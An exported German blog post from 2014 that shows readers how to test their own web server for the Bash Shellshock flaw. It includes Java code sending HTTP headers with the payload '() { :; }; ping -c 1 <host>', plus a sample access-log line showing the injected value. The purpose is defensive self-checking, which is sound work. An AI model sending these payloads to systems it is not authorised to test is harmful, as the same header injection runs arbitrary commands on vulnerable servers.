{"id":821,"date":"2014-09-26T09:47:40","date_gmt":"2014-09-26T08:47:40","guid":{"rendered":"http:\/\/www.familie-christian.com\/hausbau\/?p=821"},"modified":"2014-09-26T09:47:40","modified_gmt":"2014-09-26T08:47:40","slug":"shellshock-der-test-am-eigenen-system","status":"publish","type":"post","link":"https:\/\/www.familie-christian.com\/hausbau\/?p=821","title":{"rendered":"Shellshock: Der Test am eigenen System"},"content":{"rendered":"<p>Seit kurzer Zeit ist eine neue, wirklich schwerwiegende Sicherheitsl\u00fccke bekannt geworden: Shellshock. Nachzulesen hier:<\/p>\n<p><a href=\"http:\/\/www.heise.de\/newsticker\/meldung\/Bash-Luecke-ShellShock-ist-noch-nicht-ausgestanden-2403607.html\" target=\"_blank\">http:\/\/www.heise.de\/newsticker\/meldung\/Bash-Luecke-ShellShock-ist-noch-nicht-ausgestanden-2403607.html<\/a><\/p>\n<p><a href=\"http:\/\/www.golem.de\/news\/bash-luecke-die-hintergruende-zu-shellshock-1409-109463.html\" target=\"_blank\">http:\/\/www.golem.de\/news\/bash-luecke-die-hintergruende-zu-shellshock-1409-109463.html<\/a><\/p>\n<p>Da immer mehr Eigenheime \u00fcber Remote-Zugriffe verf\u00fcgen und diese per HTTP zu erreichen sind, stellt sich unweigerlich die Frage: Ist mein System sicher? Wie teste ich das?<\/p>\n<p>Wer mit Java vertraut ist kann dieses Beispiel hier benutzen (gibt sicher noch andere Wege):<\/p>\n<pre>import java.io.BufferedReader;\r\nimport java.io.InputStreamReader;\r\nimport java.net.URL;\r\nimport java.net.URLConnection; \r\n\r\npublic class ShellShockTest {\r\n \r\n public static void main(String[] args) throws Exception {\r\n URL url = new URL(\"http:\/\/&lt;zutestenderserver&gt;\");\r\n URLConnection conn = url.openConnection();\r\n conn.setRequestProperty(\"User-Agent\", \"shellshock-scan (&lt;deinname&gt;)\");\r\n conn.setRequestProperty(\"banners\", \"true\");\r\n conn.setRequestProperty(\"Cookie\", \"() { :; }; ping -1 3 &lt;serverf\u00fcrpingfeedback&gt;\");\r\n conn.setRequestProperty(\"Host\", \"() { :; }; ping -c 1 &lt;serverf\u00fcrpingfeedback&gt;\");\r\n conn.setRequestProperty(\"Referer\", \"() { :; }; ping -c 1 &lt;serverf\u00fcrpingfeedback&gt;\");\r\n BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));\r\n String inputLine;\r\n while ((inputLine = in.readLine()) != null)\r\n   System.out.println(inputLine);\r\n in.close();\r\n }\r\n \r\n}<\/pre>\n<p>Ersetze &#8222;&lt;zutestenderserver&gt;&#8220; mit dem Namen des Zielsystems.<\/p>\n<p>Damit Du Deinen eigenen Test in den Logfiles identifizieren kannst, ersetze noch &#8222;&lt;deinname&gt;&#8220; durch Deinen Namen.<\/p>\n<p>Um zu sehen ob das Zielsystem anf\u00e4llig ist, wird versucht ein Ping auf ein anderes System auszuf\u00fchren. Hier solltest du &#8222;&lt;serverf\u00fcrpingfeedback&gt;&#8220; mit einem<\/p>\n<ol>\n<li>im Internet direkt erreichbaren System<\/li>\n<li>f\u00fcr dich einsehbares System<\/li>\n<\/ol>\n<p>ersetzt werden.<\/p>\n<p>Code \u00fcbersetzen, ausf\u00fchren und gleichzeitig die Webserver Accesslog-Datei im Auge behalten, sowie auf dem &#8222;&lt;serverf\u00fcrpingfeedback&gt;&#8220; System ein Netzwerktrace auf ICMP Ebene durchf\u00fchren (wireshark, tcpdump, &#8230;).<\/p>\n<p>Im Webserver-Logile wirst du nun den HTTP Request sehen. Sieht bei mir z.B. so aus:<\/p>\n<pre>1.2.3.4\u00a0- - [26\/Sep\/2014:10:20:56 +0200] \"GET \/ HTTP\/1.1\" 200 467 \"() { :; }; ping -c 3 4.3.2.1\" \"shellshock-scan (huhu)\"<\/pre>\n<p>1.2.3.4 ist das zu testende System, und 4.3.2.1 ist das System f\u00fcr die Ping-R\u00fcckmeldung.<\/p>\n<p>Wenn im Netzwerktrace dann ein ICMP Request von 1.2.3.4 auftaucht, dann ist das System \u00fcber Apache anf\u00e4llig. Ist das nicht der Fall, bist du erstmal fein raus.<\/p>\n<p>Debian und Ubuntu nutzen \u00fcbrigens nicht Bash, sondern Dash per Default. Das macht die Sache &#8222;etwas&#8220; sicherer. Aber eben nicht &#8222;ganz sicher&#8220;.<\/p>\n<p>Nichts desto trotz: Sicherstellen dass alle verf\u00fcgbaren Updates eingespielt wurden&#8230;.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Seit kurzer Zeit ist eine neue, wirklich schwerwiegende Sicherheitsl\u00fccke bekannt geworden: Shellshock. Nachzulesen hier: http:\/\/www.heise.de\/newsticker\/meldung\/Bash-Luecke-ShellShock-ist-noch-nicht-ausgestanden-2403607.html http:\/\/www.golem.de\/news\/bash-luecke-die-hintergruende-zu-shellshock-1409-109463.html Da immer mehr Eigenheime \u00fcber Remote-Zugriffe verf\u00fcgen und diese per HTTP zu erreichen sind, stellt sich unweigerlich die Frage: Ist mein System sicher? Wie &hellip; <a href=\"https:\/\/www.familie-christian.com\/hausbau\/?p=821\">Weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[34],"class_list":["post-821","post","type-post","status-publish","format-standard","hentry","category-technisches","tag-shellshock"],"_links":{"self":[{"href":"https:\/\/www.familie-christian.com\/hausbau\/index.php?rest_route=\/wp\/v2\/posts\/821","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.familie-christian.com\/hausbau\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.familie-christian.com\/hausbau\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.familie-christian.com\/hausbau\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.familie-christian.com\/hausbau\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=821"}],"version-history":[{"count":1,"href":"https:\/\/www.familie-christian.com\/hausbau\/index.php?rest_route=\/wp\/v2\/posts\/821\/revisions"}],"predecessor-version":[{"id":822,"href":"https:\/\/www.familie-christian.com\/hausbau\/index.php?rest_route=\/wp\/v2\/posts\/821\/revisions\/822"}],"wp:attachment":[{"href":"https:\/\/www.familie-christian.com\/hausbau\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=821"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.familie-christian.com\/hausbau\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=821"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.familie-christian.com\/hausbau\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=821"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}